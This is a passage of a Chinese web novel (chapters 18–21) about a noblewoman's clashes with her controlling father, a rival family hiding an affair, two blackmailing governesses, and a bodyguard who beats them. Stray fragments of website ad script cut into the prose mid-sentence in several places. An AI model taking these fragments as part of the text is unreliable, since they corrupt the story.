他话还没说完,眼前的门就被砰的一声关上,掠起的风扑在他脸,让他眯了眯眼。 他收敛神色,冷哼一声,转身离开。 18. 告状 “她们住下了?” 书房里,听完李叔的话,谢烟雨转过身,有些诧异,随后皱了皱眉。 这两人养尊处优惯了,被她下了面子又这样对待居然还能忍,看来是上面下了死命令。 谢烟雨沉声道:“找人盯紧她们,别让她们接触谢骁。” 李叔应下,踌躇片刻说:“小姐,要是让他知道骁少爷的存在,您……” 他眉心拧紧构成川字,神色担忧。 “没事。”谢烟雨把拿出来的书塞回书架,厚重的书本与木质书架相撞,发出一道沉闷的声音,“迟早会发现的。” 李叔没有再说话。 谢烟雨:“秦明朗那怎么样了?” “一直盯着呢,那边的人说他离开餐厅后回了家,到现在也没出来。” 这个结果和谢烟雨预料的差不多。 林书是秦天海的心腹,能支使他的人并不多,秦家满打满算也就三个。 除去秦天海和秦明朗,那就只剩下秦天海的妻子沈玫了。 沈玫不想自己嫁给秦明朗? 谢烟雨搭在书架上的手轻点了点,是沈玫的话,就不用自己出手了,知道消息的谢父自然会去问个清楚。 谢烟雨思考片刻,缓缓道:“让他们不用盯着秦明朗了,去跟着秦天海。” “是。” 李叔推门出去,门口等了好一会的一号掀起眼皮看过去,“我找你有事。” 两人来到二楼的阳台,这边安静,还能将家里佣人的动作看得一清二楚。 “有什么事?”李叔嘴上这么问,心里其实已经有了猜测,“若是要问那两位的,那我不能告诉你。” 一号点了点头,“我知道了。” “这是小姐的私……”以为他还要再问的李叔话刚出口就卡住,顿了顿后,他也点了点头,转身离开。 他没有看见,就在他转过身后的一瞬,一号眉眼下压,红色瞳孔里有着一闪而过的杀气。 无论是谢烟雨对那两人的态度,还是李叔的满脸沉重,都让他意识到了一件事:那两女人,欺负过谢烟雨。 楼下传来些许喧闹,一号皱着眉转过身,朝下看。 两位穿着复杂裙装的盘发女人拎着裙摆,款款走入一号的视线内。 林女官满意地看着正在工作的佣人变了脸色,对身旁的陈女官道:“看,一切都在我们的掌握之中。” 陈女官板着的脸松懈几分,“不错。” 不过一瞬,她就变了脸色,“她竟敢这么对我们,我们也不必留情面了!” “自然。”林女官轻声细语地说,眼底寒芒一闪。 她勾起唇,正要再说什么,一股寒意从背部延伸到心底,泛起刺骨的冰凉。 她猛地回头看向视线来源,只看见一抹颀长的身影正在离开。 是那个男人。 那个站在谢烟雨身旁,从第一面就散发出不好惹气息的男人。 陈女官发现她不对劲,顺着她的视线看过去,却并没有发现什么,“怎么了?” “那个男人,刚刚在看我们。”林女官皱着眉,“我有预感,他将是最大的阻碍。” 过了会,她嘴角勾起一抹意味不明的笑,“联系谢先生,告诉他,我们找到谢小姐变得不乖的原因了。” 陈女官皱了皱眉,“可他只是贴身保镖而已。” “他是谁不重要,重要的是我们想让他变成谁。”林女官扯了扯嘴角,冷冷地说。 陈女官想了想,恍然,“我马上联系谢先生。” …… 秦家。 秦明朗从餐厅回来后就将自己关在房间里,吃午饭也没下来,佣人端上去的东西过了会又被原封不动地端下来。 沈玫拦住端着托盘的佣人,扫了眼一点没动的饭菜,问:“少爷在房间干什么?” “什么也没干。”佣人说,“我进去的时候,他就坐在桌子旁,看着窗户出神。” 沈玫皱了皱眉,让她离开,一边往秦天海身旁走,一边忧心地道:“这到底怎么了?早上还好端端的,怎么出去一趟变成这样了?” 她忍不住有些埋怨,“早知道就不让他去见谢烟雨了!” 秦天海闻言睨了她一眼,比起沈玫的着急他显得丝毫不担忧,至少他从没见过自家逆子哪次不开心超过一天。 “不用担心,没准过会他就自个下来了。”他老神在在地说。 沈玫无语,不想跟他坐一块,走向另一边沙发,“你不担心我担心!” 秦天海正要说话,就见她屁股刚挨上沙发又起身,“我去看看他。” 秦天海无奈地摇了摇头,随她去了。 房间里,秦明朗正思索着那件事被发现之后,他该怎么求秦天海。 正想着,门被敲响了,是他母亲的声音,“明朗,你在里面干什么呢?怎么不吃饭?饿不……” 她话还没说完,房门从里面被打开,秦明朗出现在门口,垂着眸看她,神色复杂,“妈……你进来,我有事跟你说。” “有什么事非要锁门说?”沈玫走进去,看着秦明朗将房门落锁有些不明所以,但很快,她的视线就挪到了拉上的窗帘上,“大白天拉什么窗帘?” 她走过去,全给拉开,“别老把房间弄得黑漆漆的,待久了对身体不好!” 她絮絮叨叨地转头,看见秦明朗破了的嘴角愣了一下,“呦,这是怎么了?” 不会是跟那谁亲嘴了吧? 沈玫眉头一皱,上前正要细看,被秦明朗拦住,“妈,你坐着,我有事问你。” 秦明朗的脸色难得正经,沈玫有些奇怪,没再说话,依言在椅子上坐下。 “妈,是你支使林书去找谢烟雨麻烦的?”虽然是在问话,但秦明朗心中已经有了答案,“你为什么这么做?” 沈玫脸色一垮,“你怎么知道的?她跟你说的?” 林书绝对不会出卖自己,那就只能是谢烟雨查出来了! “她怎么会知道!”沈玫倏地站起身,皱着眉,来回走了两步,看向秦明朗,“她是怎么跟你说的?” 没等秦明朗回答,她又问:“你没跟你爸说吧?” 秦明朗拉住她,将她摁坐在椅子上,有些无奈,“你现在急了?当时为什么要去找谢烟雨麻烦,你知不知道她打……拒绝了参加发布会!”

(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 秦明朗压根没跟谢烟雨说,但这不妨碍他吓唬沈玫。 沈玫没有发现他的迟疑,“不参加更好,她那个身体病怏怏的,没准过两天就死了。” 她说:“要不是你爸非要跟谢家联姻,我怎么看得上她当你妻子?她死了也好,不用拖着你了。” “妈!”秦明朗喊她,“这话别当着爸的面说。” 沈玫悻悻闭嘴,“知道了。” 秦明朗揉了揉自己发胀的额角,“你……你去把林书的事告诉我爸,让他尽早做好打算,谢家人肯定不会善罢甘休。” “不行!”沈玫做这事的时候背着秦天海,现在也没想过要告诉他,“你放心,这事妈自己解决,你别管了。” 秦明朗烦躁地说:“你怎么解决?要是让爸发现你和林书……” “我和林书?我和林书怎么了!”沈玫脸色突变,提高音量打断他。 被她紧紧盯着,秦明朗犹豫一瞬,“……你和林书密谋破坏联姻,爸肯定会很生气。” 沈玫松了口气,“没事,我自有办法,你不用担心。” “……妈。”秦明朗揉了把脸,闭着眼叹了口气,“你……” “行了,别说了,赶紧下去吃饭吧。”沈玫站起身,打断他,“这事你别操心,我自己解决。” 秦明朗张了张嘴,最后还是没有说话,算了,瞒了这么多年也没被发现,这次应该也能瞒过去吧。 这么想着,他不安乱跳的心脏逐渐平稳。 门口,沈玫脸色沉重,她焦急地转了两圈,扫了眼没人的楼梯口,走回房间锁好门,向林书发起通讯。 林书的投影一出现在半空中,她就迫不及待地开口:“谢烟雨发现了!明朗现在也知道了,现在该怎么办!” 她烦躁地问:“怎么会被发现?你不是说万无一失吗?” 林书笑了下,很轻很快,等沈玫抬眼看去时他已经收回了那抹笑意,温柔地安抚她。 哄了好一会,沈玫总算平静了下来,“那你说现在怎么办?” 林书说:“我刚收到消息,谢烟雨让保镖打了明朗,你把这事告诉谢家老头。” “什么!她竟然敢打我儿子!”沈玫满脸怒气,“她竟然敢打我儿子!!” 林书又是一顿安抚,“谢家老头知道了肯定不会高兴,就算想讨要什么,看在明朗受伤份上,也不敢做的太过。” “他不敢做过了,秦天海也不会太生气,你不会有事的,相信我,好吗?” 林书声音温柔,沈玫软了语气,担心起他来,“那你怎么办?” “我自有办法。” 挂了电话,沈玫就把这事告诉了谢父,谢父果然很生气,并说会派两名高级侍女好好磨磨谢烟雨的性子。 高级侍女磨人的办法很多,谢烟雨不会好过了。 沈玫总算出了口气,关掉光脑,换上一副梨花带雨的模样,去找秦天海说谢烟雨打人的事。 秦天海听完皱眉,“她一个女人怎么可能敢打明朗?” “她怎么不敢,她不就是仗着明朗喜欢她不会告诉我们吗!”沈玫趴在他怀里哭,“这事你可得给我们讨个公道!” 19. 出轨 秦天海把秦明朗喊进书房,沉声问:“谢烟雨喊人打你了?” “啊?我……”秦明朗诧异他怎么知道这事,下意识看向沈玫,后者挪开了视线,他心中一跳,总感觉有什么超出了自己预期。 看他支支吾吾,秦天海就知道这事是真的,脸色瞬间难看,“她为什么打你?” 虽然生气,但秦天海没有失去理智。 谢家谢烟雨他也是见过的,不是什么急躁的性子,况且两家联姻在即,按理来说她不会无缘无故地打人。 秦明朗再一次默了。 他平日里的那些想法,拿出去跟兄弟吹吹牛还行,真要告诉秦天海,他肯定吃不了兜着走。 他再一次支支吾吾,秦天海瞬间明白了,“你跟她说了什么?” 秦明朗还没说话,一旁的沈玫开始着急上火,“你怎么回事?尽问自家儿子,怎么不问问那谢烟雨为什么要打我家明朗!” “事情的真相都没搞懂就强出头,这是蠢人才会干的事!”秦天海提高音量道。 他看着秦明朗,自己的儿子自己当然了解,现在这副模样,肯定不是不肯说,而是不敢说。 不敢对他说的话还能有什么,不就是那档子事! 秦天海脸色微变,恨铁不成钢,“你就不能收收你脑子里的那些想法!成天游手好闲!” 他生气,为秦明朗的烂泥扶不上墙。 他就这么一个儿子,自然希望他能有所长,成为天骄之子,偏偏成了个混的! 秦明朗缩了缩脖子,离他远了些。 秦天海见状更气,隔空点了点他的额头,怒道:“结婚之前,你就给我好好待在家里,哪也不准去!” 秦明朗乖乖点头,顺便拉住欲言又止的沈玫。 见他难得乖巧没有呛声,秦天海心底的气诡异地消了一点,沉着的脸色稍有缓和,“身上的伤呢?让我看看。” 秦明朗:“......没有伤口。”谢烟雨带来的人专挑痛处打,却没有留下一点痕迹,比流氓还流氓。 秦明朗以为秦天海会骂自己,但他没有,脸色反而更加缓和,继而皱眉,低声道:“也是个狠毒的。” 秦明朗在心里狂点头。 沈玫暗暗着急,说来说去也没有说到她想要的重点上,正要出声,秦天海的光脑震动,一声接一声,像是催命符一样。 秦天海扫了眼备注,脸色微变。 他没有直接接通,而是对着秦明朗和沈玫摆摆手,“你们先出去,这件事我会跟谢家商议,在没有出结果之前,都不准再提。” “是。”秦明朗应道,拉着还想说话的沈玫离开了房间。 等两人离开后,秦天海接通通讯,沉眉看着眼前一袭军装的男子,“你找我干什么?” 苏铭掀起眼皮子看过去,“自然是,说说为什么擅自换联姻对象一事。” 另一边,秦明朗拉着自己母亲进了房间。 “妈,这就是你所谓的处理方式?”秦明朗气笑了,“你怎么知道这事的?派人跟着我?还是?” 他抹了把脸,“算了,不管是什么都好,从现在开始,你不能再和林书接触!” 秦天海和沈玫感情不错,但都基于沈玫听话让他安心的份上,要是让他知道沈玫和林书联系紧密…… 秦明朗不敢去赌自己父亲的无情,拉着沈玫的手道:“算我求你了,妈。” 他话里的重点很明显,沈玫心中咯噔一声,忍不住攥紧了手指,她抬眼去看自己的儿子,后者神色复杂地看着她。 沈玫脑子瞬间一片空白,她唇角微动,眼底带着震惊和恍然,缓了好一会才道:“你……你都知道了……” “有次出门,发现钱不够,给你发消息你不回,因为没有走远,我就回来了,然后看见了你和林书在后花园……” 沈玫脸色苍白,他没有再说下去,“帝国规定,凡夫妻双方有一方违背婚姻法,且证据确凿时,另一方可提出诉讼离婚,可要求对出轨方进行鞭刑……” 沈玫打断他,被岁月青睐的脸庞依旧漂亮,现在却在发抖,她咬着牙,“闭嘴!” 她浑身颤抖,伸出手想要抓住秦明朗也抓了好几次,“你……” 秦明朗真的不理解,甚至想晃干净她脑子里的水,在他看来,这种做法无异于自寻死路,“你为什么要这样做啊!” “你懂什么!你父亲根本不喜欢我,只是把我当成一个体面点的工具人罢了!”沈玫压低了声音,近乎竭斯底里。 秦明朗闭了闭眼,“妈,出轨是违法的。” 沈玫声音嘶哑,“我当然知道是违法的!不就是可能会死吗!没什么大不了的!” “你……”秦明朗还想说些什么的时候,门口传来敲门声,母子俩对视一眼,收拾好情绪出去。 门外,秦天海面无表情。 苏铭的通讯挂断不久,谢父也发来了消息,质问他为什么派林书阻碍联姻。 秦天海开始没明白,可是很快,他就想明白了打人事件的前因后果。 沈玫让林书阻碍联姻,因为她不想让秦明朗娶个病秧子,尽管这个人是谢家的女儿。 这件事被谢父知道了,她怕谢父将她说出来,就妄图用秦明朗被打一事混淆视听。 这要是小打小闹也就罢了,谢家那个老匹夫狮子大开口他也能理论,偏偏二皇子派苏铭过来,不让他们联姻了。 秦天海生性多疑,刚刚是被事情转移了注意力,现在一想,哪哪都不对劲。 林书怎么会跟沈玫有联系?又出于什么目的去做这件事? 还有沈玫,沈玫什么时候跟他联系上的? 正想着,门开了,秦天海抬眼看过去时冷意尽失,他扫了眼眼神闪躲的沈玫,又看向正在偷偷瞧他的秦明朗,有什么东西明了了。 顿了会,他嘴角牵起一抹笑,宛若什么都不知道一般,“刚跟谢家谈妥当了,换联姻对象一事,就此作罢。” ...... 连着几日回家,都能吃上谢烟雨给自己买的甜品,今天放学,谢骁也格外期待,催促着司机开快点。 到了家,他迫不及待地跳下车,由于着急跑得很快,等发现前面有个人的时候已经来不及了。< () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢骁把人撞退好几步,自己因为猛地停住脚步没站稳,摔了个屁股蹲,疼得龇牙咧嘴。 旁边的佣人看见后放下手里的工具跑过来扶他,“骁少爷,您没事吧?” 她着急地问,又抓起谢骁的手看,“流血了!” 摔倒时,手心跟地板进行接触产生擦伤,有些破皮渗血,但是小伤。 谢骁想说没事,但那佣人抱起他,一溜烟地跑了。 速度极快,快到他都没看清被他撞到的那个人是谁,只瞅见那人转身想要抓住佣人时划了个半圈的大裙摆。 佣人给谢骁上好药,又把他带到二楼房间,叮嘱他晚饭前最好别下来。 谢骁不明所以,但他知道,没什么事的话佣人不会这么跟他说的。 佣人把今日份的小蛋糕送上来时,谢骁问她:“小姑在家吗?” “小姐在书房。”佣人回答完,等了会,见谢骁没有别的吩咐就退出去关门离开。 谢骁抓着叉子,看了看小蛋糕,又看了看房门,站起身,把小蛋糕端起来,去书房。 书房的门关着,谢骁把装小蛋糕的盘子怼进怀里,空出一只手敲门,“小姑,我可以进来吗?” 好一会都没人应,谢骁歪了歪头,正要再敲门,里头突然传来一道巨大的声响,像是有什么东西被掀翻在地,伴随着一声怒斥,“我是你父亲!” 紧接着是谢烟雨充斥着冷漠的声音,“我没有你这样的父亲!” 谢骁手一哆嗦,怀里的小蛋糕差点掉在地上,他不敢再敲门,挨着墙壁坐下来。 他垂眸把小蛋糕抱在怀里,视线中多了双鞋,往上,是一号淡漠的神色。 两人去了谢骁的房间。 谢骁把小蛋糕放在桌子上,瞅了眼一号后又往里挪了挪,他翻出别的小零食递给一号,“阿一哥哥,你吃这个。” 他心想,吃了这个可就不能给你分小蛋糕了哦。 一号接过顺手塞进怀里,“刚刚摔了?” “嗯。”谢骁摊开手掌给他看,“不严重哒。” 一号嗯了一声,“家里来了陌生人,我和她不在家的时候,不要跟她们接触。” “好。”谢骁乖乖点头,脑海里闪过那个被自己撞到的人。 两人没有再说话,过了会,谢骁忍不住问:“阿一哥哥,小姑她......是不是很不开心?” 他从来没有听过谢烟雨这样说话,像是正在化雪的冬天,冷得人哆哆嗦嗦。 谢骁不知道为什么,但本能地讨厌让谢烟雨不开心的人,而凑巧,这个人还害死了他的母亲,他就更讨厌了。 一号没有说话,听他继续小声说:“如果我把小蛋糕留给她吃,她会不会开心一点?” 一号摇了摇头,“我不知道。” 谢骁睁眼瞧他,忽而眼睛一亮,“阿一哥哥,你也不想让小姑不开心对吧?” “......嗯。” “收礼物就会让人开心,我把小蛋糕送给小姑,她肯定会开心,阿一哥哥,你也给小姑送个东西,这样,小姑就能收获双倍的开心了!” 20. 礼物 在书房坐了会,谢烟雨接到了谢父的第二个通讯请求。 接通后,谢父怒气沉沉的脸出现在眼前,“你在家里养了个男人?” 谢烟雨怀疑自己听错了,“什么?” 谢父目光沉沉地看着她,流露出对自己的棋子失控的布满和怒火,“我警告过你,别跟我耍花招!现在、立刻,把那个男人赶走!” 谢烟雨在这极短的时间里猜到了前因后果。 那两个女人不知道联想到了什么,把一号认为是自己养的小白脸,并把这件事告诉了谢父,导致他跑来兴师问罪。 谢烟雨皱了下眉,“他只是我的保镖。” 一号绝对不能离开,至少在她搞清楚怎么增加任务进度之前不能离开。 “只是保镖为什么不能离开。”谢父眯了眯眼,眼神里充满审视,“谢烟雨,你乖乖听话,换联姻对象的事还有的商量。” 换联姻对象的事他不是早做了决定,在这假惺惺地哄什么人呢。 谢烟雨眼底的不屑一闪而过,抬起眼正要说话,看见了谢父打量她的眼神。 这眼神她太熟悉了。 让她和秦宥订婚时,他就是这个眼神,让她见秦明朗时,他也是这个眼神。 这个眼神就像是一个信号,衡量要把她怎么送出去换取利益的信号。 电光火石间,谢烟雨抓住了那抹想要蹿走的想法,根本就不是什么有的商量,而是,“秦家不打算换联姻对象了。” 谢父表情微变,对上她的视线,半晌才意味不明地道:“你确实聪明,嫁给秦明朗太不划算了。” 秦家居然不打算换联姻对象了? 谢烟雨还没来得及思考为什么,就被谢父浇了一盆冷水:“你该嫁进皇室,那种环境更适合你。” 谢烟雨抬眼看他,有点不可置信,但更多的是厌恶,“我是秦宥的未婚妻!” 谢父:“秦宥已经失踪了,还背上了罪名,他没有资格再做你的未婚夫。” 他说:“我会召开发布会,宣布你们俩的婚事作废,你必须到场。” 谢烟雨冷笑一声,“退婚了,然后呢?” “和二皇子见一面。”这是他选好的下一个人选。 谢烟雨没说话。 他道:“陆家的陆安然也在和二皇子接触,别人我或许会担心,但是你,肯定能让二皇子选你。” 谢烟雨凝视这个控制了自己一辈子的男人,扯了扯嘴角,“凭什么?” “什么?”她声音太低,谢父没听清。 谢烟雨站起身,生平第一次将自己的怒气暴露在他的面前,“你凭什么要我为你这三言两语奉献一生?” “谢烟雨。”谢父皱着眉看她,语气暗藏警告。 谢烟雨:“当年外祖家势大,你为了求娶我母亲,山盟海誓各种承诺,骗得她团团转。” “后来,外祖一家没落,你就将她抛之脑后,当初说的话全成了笑话,害得她郁郁而终。” 谢父脸色不变,“那是她没福气,死得早。” 谢烟雨闭了闭眼,“六年前,谢林臣因为不肯去联姻,你将他关在地下室三天三夜,后来还将他赶出谢家,派人恐吓他女朋友,害得她受了惊吓早产离世。” “别跟我提那个逆子!”谢父眉头一皱,语气厌恶。 “再后来,你看到了我。”想到以前的事,谢烟雨攥紧了手心,“秦宥之前,你几乎让我见遍了帝国的贵族子弟。” “好不容易和秦宥定了下来,你又改了主意,要我去见秦明朗,现在,还要让我去见二皇子。” 生气到极致谢烟雨反而冷静了下来,甚至笑了下,“你把我们当成了你的所有物,需要的时候就推出去牟取利益。” 谢父眯了眯眼,“世人皆逐利,这是社会的规则和本质。” “逐利没有错,错的是你,你凭什么规划我们的人生,凭什么毁掉我们的一生!” 谢烟雨身子颤抖,指甲几乎嵌进肉里,“凭什么?” “凭我是你父亲!”谢父横眉怒目。 谢烟雨冷眼看着眼前这个气得拍案而起的男人,“我没有你这样的父亲。” “放肆!谢烟雨!你这个逆......” 谢父狰狞的面孔在空中停留一瞬便消失。 谢烟雨挂掉了通讯。 忍了这么久,谢烟雨不想再忍了,她都是死过一回的人了,谢父那点生养之恩,她早就还完了。 她不欠他的。 光脑疯狂震动,谢父的消息一条接一条,谢烟雨没看,直接将人拉黑。 收到拉黑提示音后,另一边的谢父掀翻了桌子。 谢烟雨平复了会心情后发消息让李叔上楼一趟。 她言简意赅地把自己和谢父撕破脸皮的事说完,思考一瞬后,道:“必要时,求助陆安然。” 逃是逃不开的,谢父身居高位多年,到处都是眼线,她一有异动就会被镇压。 要是真的真的到了要被迫做什么的时候,谢烟雨能想到的会帮自己的就只有陆安然了。 她补充道:“把这些年培养的人调一部分过来守着,不要让任何人混进来。” “是。”李叔恭敬地垂下头。 ...... 吃过晚饭,谢骁把自己保存得好好的小蛋糕拿出来给谢烟雨。 谢烟雨有些惊讶,“怎么还没吃?”平日里谢骁都是一放学回来就吃掉的。 “想送给小姑。” 谢骁贴在她身边坐着,他已经洗过澡,身上散发着沐浴露的香气,软软的碎发贴在额头上,显得乖巧无比。 谢烟雨积攒在心底的戾气散了些,揉了揉他的脑袋,声音发柔,“为什么要送给小姑啊?” 谢骁皱了皱鼻子,看着她欲言又止,最后决定实话实说: “小姑,我回来的时候想和你一起吃蛋糕,就去书房找你,听见你和爷爷吵架了。” 谢烟雨愣了下。 “他肯定让小姑不开心了,不然小姑不会和他吵架的。” 谢骁抓着谢烟雨的手臂抬眼看她,黑白分明的大眼睛里全是担忧,“小姑不要不开心了,我请你吃小蛋糕。” 他话语里都是纯粹的关心,让从小见惯冷漠的谢烟雨有些不适应,也有些怔然。 她鼻子一酸,眨了眨眼,抬手刮 () { $(''.inform'').remove(); $(''#content'').append('' 了刮他的鼻子,声音微涩,“蛋糕都是我买的,怎么能说请我呢?” 谢骁一想,脸色爆红,不好意思地挠了挠后脑勺,接着,他想到了什么,晃着谢烟雨的手臂撒娇,“这是借花献佛,小姑不要介意啦~” 谢烟雨笑了下,“好。” 两人一起把这块小小的蛋糕分吃完。 谢骁起身,“小姑,我回房间啦。” “嗯?”谢烟雨还以为他要跟自己一块睡,毕竟他澡都洗了,睡衣也穿了,跟以前过来蹭床时一模一样。 谢骁嘿嘿笑两声,“等会还有人给小姑送礼物呢,我不好留着。” 他和一号说好了,送礼物要偷偷送。 谢烟雨不明所以,但也尊重他的选择,把人送到门口,看着他进了自己的房间并上锁后才离开。 她回到房间坐了会,房门被敲响。 谢烟雨讶异地转头看向门口,还真的有人过来送她礼物?会是谁? 她有些好奇地走过去开门。 一号背着手站在门口,门开后退一步,看见谢烟雨后下意识上前一步。 因为谢骁说过的话,谢烟雨的视线忍不住往他身后瞟了下。 一号人高马大,完全挡住了他身后的东西,她什么也没有看见,于是收了心思,让人进屋。 来到客厅坐下,一号把藏在身后的东西递给谢烟雨。 谢烟雨没有第一时间接,而是问:“这是什么?” 一号:“......礼物。” 所以和谢骁商量好一起送礼物的真的是他。 谢骁送礼物是为了让自己不要不开心,那他呢?他为什么送? 谢烟雨一时间想不出来,眼皮底下的袋子又往前递了递。 她顿了会伸手接过,“可以打开吗?” 一号点头,“可以。” 谢烟雨垂头看这个不大不小的袋子,并没有发现一号视线紧紧跟着自己。 她从袋子里拿出来一套校服,有些震惊。 一号抿了抿唇,开口道:“买蛋糕的时候见你一直看着,所以......” 谢烟雨抓着校服,神情恍惚,不知道该说些什么。 她当时看的其实不是校服,而是属于别人的、处处透着生气的青春。 没想到一号会送这个,她晃神一瞬很快反应过来,“谢谢,我很喜欢。” 一号对她的情绪本就很敏感,何况他一直注意着她,自然看出了她一瞬间的晃神,不由地攥了攥手指,“真的吗?” 谢烟雨点头,“真的。” 是真的喜欢。无论是什么都好,她很少收到别人毫无目的送的礼物,一号......一号到目前为止都对她没有所图。 看见一号不说话,她又添了一句,“谢谢。” 一号摇了摇头,低声说:“不用谢。” 离开谢烟雨房间后,一号还是没能释怀。 他送的礼物不好,其实她没有那么喜欢,他看出来了。 一号躺在床上辗转反侧,过了一会倏地起身,红色的瞳孔在黑夜中泛着亮光。 他记得,上次送的白色山茶花她很喜欢。 21. 动手 第二天早上,谢烟雨拉开阳台的玻璃门,看见栏杆上被人插了一束白色山茶花。 山茶花香气扑鼻,娇艳欲滴,花瓣上还沾着露珠,风一吹,露珠就颤颤巍巍地滚落。 谢烟雨脚步停住,朝楼下看了一圈,并没有发现其他人的踪迹。 她顿了顿,重新看向那束白色山茶花,好一会才走过去拿起来进房间。 楼下,看着谢烟雨把花束带进房间,蹲守许久的一号松了口气,看来她还是更喜欢这个礼物。 他眼里漾出笑意,直起身子,脚步轻快地往回走,没有发现消失在阳台的人又出现了,正静静地看着他的背影。 谢烟雨想到他昨天离开时苦恼的模样,唇角微弯,手指轻点了下花瓣,转身回屋。 自这日起的每天早晨,谢烟雨阳台上都会出现一束新鲜的花,什么品种都有,但最多的,还是白色山茶花。 不过这些都是后话了。 今天早起准备去用餐的林女官收到了谢父的消息,【让谢烟雨变得听话!不惜一切代价!】 她眸色微亮,立马回复。 从字里行间窥见谢父怒意的她趁机提了不少要求,谢父都同意了。 关掉光脑后,林女官满面红光,像是看到了胜利的征服者。 她昂首挺胸地和陈女官来到餐厅,“来人啊!” 众人面面相觑,没有一人应答。 李叔从楼上下来,看见她后皱眉上前,“什么事,两位?” 林女官指了指桌上的菜,露出一副担忧的模样,“谢小姐向来体弱,得好好养身子。俗话说虚不受补,她身体虚,这些补品还是不要吃了,撤下去吧。” “多谢你的好意,但是不必了。” 李叔冷声说完,陈女官立刻冷下脸,不满道:“我们是谢先生请来教授谢小姐的老师,有资格管理她的一切。” “我家小姐已然成年,她的事她自有主张,轮不到别人指手画脚。” 都和谢父翻脸了,这两个人也没什么好顾忌的了。 李叔看也不看脸色发青的两人,正准备走开,林女官把光脑怼到了他面前。 设置成共享画面的光脑屏幕一闪而过,但李叔还是看清了那张照片。 他的脸色瞬间变了,“照片哪里来的?” 林女官下巴微抬,扫了他一眼并不说话。 陈女官冷哼一声,“现在我们有资格了吧?” 李叔倏地抬眼看她,眼神凶狠,他一字一句地重复,“照片哪里来的?” “这不关你的事。”陈女官下意识后退一步,反应过来后绷紧了脸,“你只要知道,我们是谢先生派来的,有权力接管谢小姐的一切事务。” “现在,我要让这些菜消失在我的眼前,不然那些照片将会人尽皆知。”她盯着李叔,一个字一个字地说。 李叔没有说话。 陈女官嘴角扯出一抹笑,双臂交叉于胸前,看向方才端菜的佣人,“还不快去。” 被看到的佣人下意识看向李叔,在场的其他佣人也神色紧张,纷纷看向李叔。 见人迟迟不动,陈女官的脸沉了下来。 林女官靠近李叔,笑着开口,“你也不想你家小姐的那副模样被人瞧见吧?” 李叔攥紧了拳头,抬眼冷冷地瞧她。 林女官直起身子,仿若什么都没有说过似的,表现得有恃无恐。 刚踏进餐厅的一号就看见这副僵持的画面,走过去扫了眼林女官和陈女官,皱眉问李叔:“怎么了?” 李叔松开攥得发疼的手心,声音低哑,“她们……” 林女官脸色微变,“李叔,你确定要让他知道?” 李叔是谢烟雨最亲近的人,反之亦然,林女官敢拿照片给他看,就是笃定他不敢轻举妄动。 但一号不一样,她们对一号毫无了解,只从他的周身气息看出,这是一个不好招惹的男人。 林女官下意识不想惹他,说不清为什么,非要说的话,就是一种直觉。 李叔果然迟疑了。 一号看了眼他,想到了什么,皱起眉头,目光在陈女官身上缓缓划过,又落在林女官身上。 他的红色瞳孔一眯,冷光乍泄,“你们在用谢烟雨威胁他?” 林女官被他瘆人的目光吓得后退一步,一种被野兽盯上的感觉袭击全身,让她头皮发麻。 她拉住陈女官,垂着头以掩盖莫名的心慌。 陈女官见状往前一步,不满地看着一号,“你只是一个保镖而已,没有资格在这里……啊!” 在她说话时,一号右手捏成拳,发出咔哒咔哒的令人牙酸的声音。 接着,他一拳砸在陈女官脸上。 “啊!!”陈女官发出惨叫,她捂着脸,踉跄得后退好几步。 一号收了几分力,怕自己一拳揍死人,但他收敛的效果对于陈女官来说还是暴击。 一号一拳下去,她的脸立刻肿了起来,眼肿得更是眯成一条缝,疼得眼泪哗哗往下流。 她盘好的发髻松散,掉落的头发披在她脸前,配着她夹杂着哭声的细微痛呼声,显得格外狼狈。 佣人们瞪大了眼睛,目光全移到了一号身上,隐隐透露出不可置信的崇拜。 李叔也愣了一下,他抬起手想拉住一号,抬到一半又放下,微侧过身,假装自己什么也没有看见。 林女官被陈女官拉扯着也往后退,而且因为和她离得近,方才一号挥拳过来时,她甚至能感受到拳头擦脸而过带起的风。 她扶住陈女官,抬眼看向一号,“你到底是谁?” 陈女官也抬起头,因为脸肿声音奇怪,“你居然敢打我!你知不知道我……” 砰—— 一号冷着脸收回手,陈女官嗷叫一声,扯着林女官跌倒在地。 她活了大半辈子,从未遭受过如此奇耻大辱! 陈女官咬着牙,痛得涕泗横流,死死不敢抬头,怕泄露出几分狠意又要挨一拳,也怕被人看见这副狼狈的模样。 林女官跌坐在地上,手心触碰到地板,凉意直蹿心底,连李叔都不敢随便得罪她们,他怎么敢?他到底是谁!? 一号居高临下地看着她们,“东西拿出来。” 他并不知道林女官用了什么东西威胁李叔,但 () { $(''.inform'').remove(); $(''#content'').append('' 他明白,李叔是谢烟雨最亲近的人,威胁李叔就是威胁谢烟雨。 威胁谢烟雨,就是该揍。 他右手仍捏着拳,看起来随时会给上一拳。 林女官握着陈女官手臂的手紧了松,松了紧,“不可能!” 这是她对付谢烟雨最后的筹码,绝对不会交给他! 一号眉头蹙起,看向李叔,“那是什么东西?在哪里?” 李叔背着身,却全神贯注地听着身后的动静,闻言立刻道:“她的光脑。” 林女官心里一惊,连忙用另一只手护住光脑,但一号速度极快,眨眼间就来到她身边,一把扯下她的光脑丢给李叔。 林女官瞪大了眼睛,“那是我的光脑!” 一号掀起眼皮看过去,红色的瞳孔毫无波澜,像是在看将死的猎物。 林女官上前的脚步一顿,“你们不能拿走它,这是……” “嗷!!” 一号捏紧的拳头终究还是落在了她身上,“闭嘴。” 林女官身子瑟缩,垂着头不再说话。 陈女官抓着她的手,捂着自己的脸,也不敢再替自己的搭档开口。 “新调来的人呢?派两个看着她们。”一号抽了张纸巾擦手,对李叔说话时,声音里还有股未完全消散的戾气。 家里的人变多了,第一个察觉到的就是一号,他偷偷跟了一会,发现打头那个找李叔说话,才放下心离开。 李叔并不意外他知道,交手那天他就知道一号武功深不可测,对于一号的话,他点头道:“我马上安排。” “你。”一号看了眼离得最近的女佣,“把她们的通讯设备全搜出来,包括房间里的。” “是!”被点到的女佣眼前一亮,跃跃欲试。 林女官抬起头,想要说什么,被一号冷眼扫过,又低下了头。 女佣速度很快,跑着过去跑着回来,把找到的东西都倒在地上,看看李叔,又看看一号,然后退了下去。 李叔知道她什么意思,比了个加薪的手势,后者立刻原地蹦哒一下,跑回人群中。 一号蹲下身,翻了翻地上的一堆东西。 女佣有些小聪明,一号说的是找通讯设备,但她连带有一点危险的东西都找了过来,包括但不限于带着倒刺的鞭子、带有电流的棍子…… 